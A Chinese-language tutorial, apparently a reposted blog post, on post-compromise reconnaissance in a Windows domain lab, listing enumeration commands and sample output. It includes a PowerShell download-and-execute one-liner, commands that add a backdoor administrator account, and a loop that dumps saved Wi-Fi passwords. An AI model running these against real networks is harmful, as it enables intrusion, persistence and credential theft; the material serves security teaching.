前言 内网渗透的过程中,通过收集信息,可以洞察内网拓扑结构,找出内网中最薄弱的环节。
信息收集的深度,直接关系到内网渗透测试的成败
内网信息收集 基本信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # 网络信息 $ ipconfig /all # 查询网络配置信息 # 系统信息 $ systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 查询操作系统和软件信息 $ systeminfo # 查看补丁列表 $ wmic qfe get Caption,Description,HotFixID,InstallOn # 查看安装在系统的补丁 # 服务信息 $ wmic service list brief # 查询本机服务信息 $ wmic process list brief # 查询进程列表 $ wmic startup get commond,caption # 查看启动程序信息 # 用户信息 $ net user # 查询用户列表 $ net localgroup Administrators # 本地管理员 $ query user || qwinsta # 当前在线用户 # 进程信息 $ tasklist $ wmic process list brief # 其它信息 $ netstat -ano # 查询端口列表 $ net share # 查询本机共享列表 $ route print # 路由表 $ arp -a # ARP表 $ ipconfig /displaydns # 查看dns缓存 $ netsh firewall show config # 查询防火墙相关配置
查询当前权限
获取一台主机后,一般有3种情况:
本地普通用户,win-2008\user
本地管理员用户,win7-test\administrator
域内用户,hacker\administrator
其中本地普通用户只能查询本机信息,不能查询域内信息,而本地管理员和域内用户均可查询域内信息。
域内所有查询都通过域控制器(DC)实现,而这个查询会自动使用Kerberos协议进行认证,无须输入账号密码。
获取域SID
当前域hack-naraku
的SID:S-1-5-21-1481718049-2714097393-3961720286
域用户winuser
的SID:S-1-5-21-1481718049-2714097393-3961720286-1108
1 2 3 4 5 $ whoami 用户名 SID =================== ============================================== hack-naraku\winuser S-1-5-21-1481718049-2714097393-3961720286-1108
查询指定用户信息
该用户在本地组中没有本地管理员权限
在域中属于Domain Users
组
1 2 3 4 5 6 $ net user winuser /domain ............. 本地组成员 全局组成员 *Domain Users .............
判断是否存在域
1 2 $ ipconfig /all $ nslookup <DNS服务器>
查询系统信息
域:域名。如果域为WORKGROUP
则表示当前服务器不在域内
登录服务器:域控制器
查询当前登录域及登录用户
工作站域DNS名称:域名。如果为WORKGROUP
则表示当前为非域环境
登录域:用于表示当前表示的用户是域用户还是本地用户
1 $ net config workstation
判断主域
正常执行:存在域,且当前用户是域用户
拒绝访问:存在域,但当前用户不是域用户
找不到域WORKGROUP
的域控制器:不存在域
探测域内存活主机 NetBIOS探测
nbtscan.exe
:一个命令行工具,用于扫描目标网络中开放的NetBIOS名称服务器
1 2 3 4 5 $ nbtscan.exe 192.168.1.0/24 192.168.1.7 HACK-NARAKU\WIN7 SHARING 192.168.1.12 HACK-NARAKU\DC SHARING DC *timeout (normal end of scan)
ICMP探测
1 2 3 4 $ for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" 来自 192.168.1.7 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.1.12 的回复: 字节=32 时间=1ms TTL=128
ARP探测
1 2 3 4 5 6 7 $ arp-scan.exe -t 192.168.1.0/24 Reply that 00:50:56:C0:00:01 is 192.168.1.1 in 2.870200 Reply that 00:0C:29:0A:7C:7F is 192.168.1.7 in 0.060100 Reply that 00:0C:29:93:97:DC is 192.168.1.12 in 16.301800 Reply that 00:50:56:EA:98:CF is 192.168.1.254 in 15.253300 Reply that 00:0C:29:0A:7C:7F is 192.168.1.255 in 0.102700
扫描域内端口
Metasploit端口扫描 :MSF提供多种端口扫描技术,还提供与其它扫描工具的接口
可在msfconsole
下运行search portscan
搜索端口扫描模块
这里使用的是auxiliary/scanner/portscan/tcp
1 2 3 4 5 6 7 8 9 10 11 12 13 $ msfconsole msf5 > use auxiliary/scanner/portscan/tcp msf5 auxiliary(scanner/portscan/tcp) > show options msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.12 msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024 msf5 auxiliary(scanner/portscan/tcp) > run [+] 192.168.1.12: - 192.168.1.12:53 - TCP OPEN ....... [+] 192.168.1.12: - 192.168.1.12:636 - TCP OPEN [*] 192.168.1.12: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
1 $ nmap -sP 192.168.1.0/24
1 $ nc -nv 192.168.1.12 22
1 2 3 4 5 $ powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt" $ powershell.exe -nop -exec bypass -c "Import-Module C:\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt"
其它
1 $ telnet 192.168.1.12 22
域信息 1 2 3 4 5 $ net view /domain $ net view /domain:HACK-NARAKU $ net group /domain $ net group "domain computers" /domain $ net accounts /domain
nltest信任域
1 2 3 4 5 6 7 $ nltest /domain_trusts # 返回所有信任 192.168.1.7 的域 $ nltest /domain_trusts /all_trusts /v /server:<域控IP> # 返回域控和其相对应的IP地址,XXXXX是上一条命令结果中的一个域 $ nltest /dsgetdc:<XXXXX> /server:192.168.1.12
查找域控
1 2 3 4 5 $ nltest /DCLIST:hack-naraku 获得域“hack-naraku”中 DC 的列表(从“\\DC”中)。 DC.hack.naraku [PDC] [DS] 站点: Default-First-Site-Name 此命令成功完成
1 2 3 4 5 6 7 8 9 10 11 12 13 $ nslookup -type =SRV _ldap._tcp DNS request timed out. timeout was 2 seconds. 服务器: UnKnown Address: 192.168.1.12 _ldap._tcp.hack.naraku SRV service location: priority = 0 weight = 100 port = 389 svr hostname = dc.hack.naraku dc.hack.naraku internet address = 192.168.1.12
1 2 3 $ net time /domain \\DC.hack.naraku 的当前时间是 2020/10/19 12:38:28
1 2 3 4 5 6 7 8 9 10 11 12 $ net group "Domain Controllers" /domain 这项请求将在域 hack.naraku 的域控制器处理。 组名 Domain Controllers 注释 域中所有域控制器 成员 ------------------------------------------------------------------------------- DC$ 命令成功完成。
域用户信息
1 2 3 $ net user /domain $ wmic useraccount get /all $ net localgroup administrators
1 2 $ net group "Domain Admins" /domain $ net group "Enterprise Admins" /domain
定位域管
概述
在一个域中,当计算机加入域后,会默认给域管理员赋予本地系统管理员权限。因此,域管理员均可以访问本地计算机,且具备完全控制权限。
定位域内管理员的两种渠道:日志和会话。
日志是指本地机器的管理员日志,可以使用脚本或Wevtutil
工具导出并查看。
会话是指域内每台机器的登陆会话,可以使用netsess.exe
或PowerView
等工具查询(可匿名查询,无需权限)。
PsLoggedOn
PsLoggedOn.exe :可以查看本地登录的用户
原理:通过检验注册表里HKEY_USERS
的key值来查询谁登陆过机器(调用NetSessionEnum API
)
限制:部分功能需要管理员权限
PVEFindADUser
PVEFindADUser.exe :用于查找Active Directory用户的登录位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。
限制:运行该工具需要配置.NET Framework 2.0
环境,并且需要具有管理员权限。
1 $ PVEFindADUser.exe -current
Netview
Netview.exe :使用WinAPI
枚举系统,利用NetSessionEnum
找寻登陆会话,利用NetShareEnum
找寻共享,利用NetWkstaUserEnum
枚举登陆用户。同时,netview.exe
能够查询共享入口和有价值的用户。
Nmap的NSE脚本
Smb-enum-sessions.nse :如果存在域账户或者本地账户,就可以使用该脚本获取远程机器的登陆会话
1 $ nmap --script=smb-enum-sessions 192.168.1.1
脚本
描述
smb-enum-domains
尝试枚举系统上的域及其策略
smb-enum-users
枚举远程Windows系统上的用户,并提供尽可能多的信息
smb-enum-shares
便利远程主机共享目录
smb-enum-processes
通过SMB从远程服务器提取进程列表,可以知道目标主机运行哪些软件。需要管理员权限
smb-enum-sessions
枚举在本地或通过SMB共享登录到系统的用户
smb-os-discovery
尝试通过SMB协议(端口445或139)确定操作系统,计算机名称,域,工作组和当前时间。
PowerView
PowerView 是一款依赖powershell和WMI对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中,是一个收集域信息很好用的脚本。
1 2 # 定位域管理员 $ powershell.exe -exec bypass -c "Import-Module C:\PowerView.ps1; Invoke-UserHunter"
查找域管理进程
一个典型的域权限提升过程,通常围绕着收集明文凭据 或通过Mimikatz
提权 等方法。在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。
1 2 3 $ tasklist /v $ net group "Domain Admins" /domain $ net group "Domain Controllers" /domain
Powershell收集信息 1 2 3 4 5 6 7 8 9 10 11 12 $ Get-ExecutionPolicy $ Set-ExecutionPolicy Unrestricted $ Import-Module .\PowerView.ps1Get-NetDomain Get-NetUser Get-NetComputer Get-NetShare Get-ADObject Invoke-UserHunter Invoke-ProcessHunter
其它
用户信息
权限:system > administrator > user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ net user /domain $ net group "domain admins" /domain $ net group "domain controllers" /domain $ nltest /domain_trusts # 其它 $ query user $ net user $ net user naraku $ net user naraku pwd123. /add $ net localgroup administrators naraku /add # 查看wifi密码 $ for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles' ) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
后话 转载自https://www.naraku.cn/posts/90.html